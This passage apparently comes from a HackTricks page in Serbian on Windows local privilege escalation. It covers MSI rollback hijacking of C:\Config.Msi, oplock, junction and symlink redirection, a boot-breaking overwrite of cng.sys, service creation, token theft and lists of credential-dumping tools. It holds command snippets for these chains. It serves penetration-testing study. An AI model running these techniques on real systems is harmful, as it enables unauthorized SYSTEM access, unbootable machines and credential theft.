From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

Napad u suštini iskorišćava rollback funkciju Windows Installer-a da zameni legitimne fajlove malicioznim tokom procesa deinstalacije. Za ovo napadač mora da kreira malicious MSI installer koji će biti korišćen da se hijack-uje C:\Config.Msi folder, koji će kasnije Windows Installer koristiti za čuvanje rollback fajlova tokom deinstalacije drugih MSI paketa — rollback fajlovi bi tada bili izmenjeni da sadrže maliciozni payload.

Sažeta tehnika je sledeća:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)
  • Step 1: Install the MSI

  • Kreirajte .msi koji instalira bezopasan fajl (npr. dummy.txt) u folder u koji se može pisati (TARGETDIR).

  • Obeležite installer kao “UAC Compliant”, tako da non-admin user može da ga pokrene.

  • Zadržite handle otvoren ka fajlu nakon instalacije.

  • Step 2: Begin Uninstall

  • Deinstalirajte isti .msi.

  • Proces deinstalacije počinje da premesta fajlove u C:\Config.Msi i preimenuje ih u .rbf fajlove (rollback backup).

  • Poll-ujte otvoreni file handle koristeći GetFinalPathNameByHandle da detektujete kada fajl postane C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • .msi uključuje custom uninstall action (SyncOnRbfWritten) koja:

    • Signalizuje kada je .rbf napisan.
    • Zatim čeka na drugi event pre nego što nastavi deinstalaciju.
  • Step 4: Block Deletion of .rbf

  • Kada primi signal, otvorite .rbf fajl bez FILE_SHARE_DELETE — ovo sprečava njegovo brisanje.

  • Zatim vratite signal da deinstalacija može da se završi.

  • Windows Installer ne uspeva da obriše .rbf, i zato što ne može da obriše sve sadržaje, C:\Config.Msi se ne uklanja.

  • Step 5: Manually Delete .rbf

  • Vi (napadač) ručno obrišete .rbf fajl.

  • Sada je C:\Config.Msi prazan, spreman za hijack.

U ovoj tački, trigger-ujte SYSTEM-level arbitrary folder delete ranjivost da obrišete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Ponovo kreirajte C:\Config.Msi folder sami.

  • Postavite slabe DACL-ove (npr. Everyone:F), i zadržite otvoren handle sa WRITE_DAC.

  • Step 7: Run Another Install

  • Instalirajte .msi ponovo, sa:

    • TARGETDIR: lokacija u koju se može pisati.
    • ERROROUT: varijabla koja izaziva namerno grešku.
  • Ova instalacija će biti korišćena da ponovo trigger-uje rollback, koji čita .rbs i .rbf.

  • Step 8: Monitor for .rbs

  • Koristite ReadDirectoryChangesW da nadgledate C:\Config.Msi dok se ne pojavi novi .rbs.

  • Zapamtite njegovo ime fajla.

  • Step 9: Sync Before Rollback

  • .msi sadrži custom install action (SyncBeforeRollback) koja:

    • Signalizuje event kada je .rbs kreiran.
    • Zatim čeka pre nego što nastavi.
  • Step 10: Reapply Weak ACL

  • Nakon što primite .rbs created event:

    • Windows Installer ponovo primenjuje jake ACL-ove na C:\Config.Msi.
    • Ali pošto i dalje imate handle sa WRITE_DAC, možete ponovo primeniti slabe ACL-ove.

ACL-ovi se primenjuju samo pri otvaranju handle-a, tako da i dalje možete pisati u folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite-ujte .rbs fajl lažnim rollback skriptom koji govori Windows-u da:

    • Vrati vaš .rbf fajl (maliciozni DLL) u privileged location (npr. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).
    • Spusti vaš lažni .rbf koji sadrži maliciozni SYSTEM-level payload DLL.
  • Step 12: Trigger the Rollback

  • Signalizujte sync event da installer nastavi.

  • Konfigurisana je type 19 custom action (ErrorOut) da namerno izazove neuspeh instalacije u poznatoj tački.

  • Ovo pokreće rollback.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

    • Čita vaš maliciozni .rbs.
    • Kopira vaš .rbf DLL u ciljnu lokaciju.
  • Sada imate svoj maliciozni DLL u putanji koja se učitava od strane SYSTEM-a.

  • Final Step: Execute SYSTEM Code

  • Pokrenite pouzdan auto-elevated binary (npr. osk.exe) koji učitava DLL koji ste hijack-ovali.

  • Boom: vaš kod se izvršava kao SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

Glavna MSI rollback tehnika (prethodna) pretpostavlja da možete obrisati ceo folder (npr. C:\Config.Msi). Ali šta ako vaša ranjivost dozvoljava samo proizvoljno brisanje fajlova?

Možete iskoristiti NTFS internals: svaki folder ima skriveni alternate data stream nazvan:

C:\SomeFolder::$INDEX_ALLOCATION

Ovaj stream čuva indeksne metapodatke foldera.

Dakle, ako obrišete ::$INDEX_ALLOCATION stream foldera, NTFS uklanja ceo folder iz fajl sistema.

Možete to uraditi koristeći standardne API-je za brisanje fajlova, kao što su:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Iako pozivate file delete API, on briše sam folder.

Od Folder Contents Delete do SYSTEM EoP

Šta ako vaš primitive ne dozvoljava brisanje proizvoljnih files/folders, ali ono dozvoljava brisanje contents foldera pod kontrolom napadača?

  1. Korak 1: Postavite bait folder i file
  • Create: C:\temp\folder1
  • Inside it: C:\temp\folder1\file1.txt
  1. Korak 2: Place an oplock on file1.txt
  • The oplock pauzira izvršavanje kada privilegovani proces pokuša da obriše file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Korak 3: Pokrenite SYSTEM proces (npr., SilentCleanup)
  • Ovaj proces skenira foldere (npr., %TEMP%) i pokušava da obriše njihov sadržaj.
  • Kada stigne do file1.txt, oplock pokreće i predaje kontrolu vašem callbacku.
  1. Korak 4: Unutar oplock callback-a – preusmerite brisanje
  • Opcija A: Premestite file1.txt na drugo mesto

  • Ovo isprazni folder1 bez prekidanja oplocka.

  • Ne brišite file1.txt direktno — to bi prevremeno oslobodilo oplock.

  • Opcija B: Pretvorite folder1 u junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opcija C: Kreirajte symlink u \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Ovo cilja NTFS internal stream koji skladišti metapodatke foldera — brisanje tog streama briše folder.

  1. Step 5: Oslobađanje oplock-a
  • SYSTEM proces nastavlja i pokušava da obriše file1.txt.
  • Ali sada, zbog junction + symlink, zapravo briše:
C:\Config.Msi::$INDEX_ALLOCATION

Rezultat: C:\Config.Msi briše SYSTEM.

Od kreiranja proizvoljnog direktorijuma do trajnog DoS-a

Iskoristite primitiv koji vam omogućava da kreirate proizvoljan direktorijum kao SYSTEM/admin — čak i ako ne možete pisati fajlove ili postaviti slabe dozvole.

Kreirajte direktorijum (ne fajl) sa imenom kritičnog Windows driver-a, npr.:

C:\Windows\System32\cng.sys
  • Ovaj path obično odgovara kernel-mode driveru cng.sys.
  • Ako ga pre-kreirate kao folder, Windows ne uspeva da učita stvarni driver pri boot-u.
  • Zatim, Windows pokušava da učita cng.sys tokom boot-a.
  • Vidí folder, ne uspeva da resolves stvarni driver, i sruši se ili zaustavi boot.
  • Ne postoji fallback, i nema oporavka bez spoljne intervencije (npr. boot repair ili pristup disku).

Kada privilegovan servis zapisuje logs/exports na putanju koja se čita iz writable config, preusmerite tu putanju pomoću Object Manager symlinks + NTFS mount points kako biste pretvorili privilegovani upis u proizvoljno prepisivanje fajla (čak i bez SeCreateSymbolicLinkPrivilege).

Requirements

  • Konfiguracija koja čuva ciljnu putanju je zapisiva od strane napadača (npr. %ProgramData%\...\.ini).
  • Mogućnost kreiranja mount point-a ka \RPC Control i OM file symlink-a (James Forshaw symboliclink-testing-tools).
  • Privilegovana operacija koja zapisuje na tu putanju (log, export, report).

Example chain

  1. Pročitaj konfiguraciju da otkriješ destinaciju privilegovanog loga, npr. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt u C:\ProgramData\ICONICS\IcoSetup64.ini.
  2. Preusmeri putanju bez admin prava:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
  1. Sačekajte da privilegovani komponent napiše log (npr. admin pokrene “send test SMS”). Upis sada završava u C:\Windows\System32\cng.sys.
  2. Pregledajte prepisani target (hex/PE parser) da potvrdite korupciju; reboot primorava Windows da učita izmenjenu driver path → boot loop DoS. Ovo se takođe generalizuje na bilo koji zaštićeni fajl koji će privilegovani service otvoriti za write.

cng.sys je obično učitan iz C:\Windows\System32\drivers\cng.sys, ali ako kopija postoji u C:\Windows\System32\cng.sys može se pokušati prva, što ga čini pouzdanim DoS sink-om za korumpirane podatke.

Iz High Integrity do SYSTEM

Novi service

Ako već radite u High Integrity procesu, path to SYSTEM može biti jednostavan samo creating and executing a new service:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Kada kreirate service binary, uverite se da je validan service ili da binary izvrši neophodne radnje dovoljno brzo, jer će biti ugašen za 20s ako nije validan service.

AlwaysInstallElevated

Iz High Integrity procesa možete pokušati da omogućite AlwaysInstallElevated registry entries i install reverse shell koristeći .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Možete pronaći kod ovde.

From SeDebug + SeImpersonate to Full Token privileges

Ako imate te token privileges (verovatno ćete ovo naći u već postojećem High Integrity procesu), moći ćete da open almost any process (ne protected processes) sa SeDebug privilegijom, copy the token procesa i kreirate arbitrary process sa tim tokenom.
Pri korišćenju ove tehnike obično se bira process koji radi kao SYSTEM i ima sve token privileges (da, možete naći SYSTEM process-e bez svih token privileges).
Možete naći primer koda koji izvršava predloženu tehniku ovde.

Named Pipes

Ovu tehniku koristi meterpreter za eskalaciju u getsystem. Tehnika se sastoji od kreiranja pipe-a i zatim kreiranja/zloupotrebe service-a da piše u taj pipe. Zatim, server koji je kreirao pipe koristeći SeImpersonate privilegiju biće u mogućnosti da impersonate the token pipe klijenta (service) i time dobije SYSTEM privilegije.
Ako želite da saznate više o name pipes treba da pročitate ovo.
Ako želite primer kako ići od high integrity do System koristeći name pipes pročitajte ovo.

Dll Hijacking

Ako uspete da hijack-ujete dll koji se load-uje od strane process-a koji radi kao SYSTEM, moći ćete da izvršite arbitrary code sa tim privilegijama. Dakle, Dll Hijacking je koristan za ovu vrstu privilege escalation, i, dodatno, mnogo je lakše postići iz High Integrity procesa jer će on imati write permissions na folderima koji se koriste za load-ovanje dll-ova.
Možete saznati više o Dll hijackingu ovde.

From Administrator or Network Service to System

  • https://github.com/sailay1996/RpcSsImpersonator
  • https://decoder.cloud/2020/05/04/from-network-service-to-system/
  • https://github.com/decoder-it/NetworkServiceExploit

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Proverava pogrešne konfiguracije i osetljive fajlove (check here). Detektovano.
JAWS – Proverava moguće pogrešne konfiguracije i prikuplja informacije (check here).
privesc – Proverava pogrešne konfiguracije
SessionGopher – Ekstrahuje sačuvane session informacije iz PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Koristite -Thorough lokalno.
Invoke-WCMDump – Ekstrahuje kredencijale iz Credential Manager-a. Detektovano.
DomainPasswordSpray – Radi password spray prikupljenim lozinkama po domenu
Inveigh – Inveigh je PowerShell ADIDNS/LLMNR/mDNS spoofer i man-in-the-middle alat.
WindowsEnum – Osnovna privesc Windows enumeracija
Sherlock ~~~~ – Traži poznate privesc ranjivosti (DEPRECATED za Watson)
WINspect – Lokalne provere (zahteva Admin rights)

Exe

Watson – Traži poznate privesc ranjivosti (mora se kompajlirati koristeći VisualStudio) (precompiled)
SeatBelt – Enumeriše host tražeći pogrešne konfiguracije (više alat za prikupljanje informacija nego za privesc) (mora da se kompajlira) (precompiled)
LaZagne – Ekstrahuje kredencijale iz mnogih softvera (precompiled exe na Github-u)
SharpUP – Port PowerUp-a na C#
Beroot ~~~~ – Proverava pogrešne konfiguracije (izvršni fajl prekompajliran na Github-u). Ne preporučuje se. Ne radi dobro na Win10.
Windows-Privesc-Check – Proverava moguće pogrešne konfiguracije (exe iz python-a). Ne preporučuje se. Ne radi dobro na Win10.

Bat

winPEASbat – Alat napravljen na bazi ovog posta (ne zahteva accesschk da bi radio pravilno, ali ga može koristiti).

Local

Windows-Exploit-Suggester – Čita output systeminfo i preporučuje radne exploite (lokalni python)
Windows Exploit Suggester Next Generation – Čita output systeminfo i preporučuje radne exploite (lokalni python)

Meterpreter

multi/recon/local_exploit_suggestor

You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Izvori

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks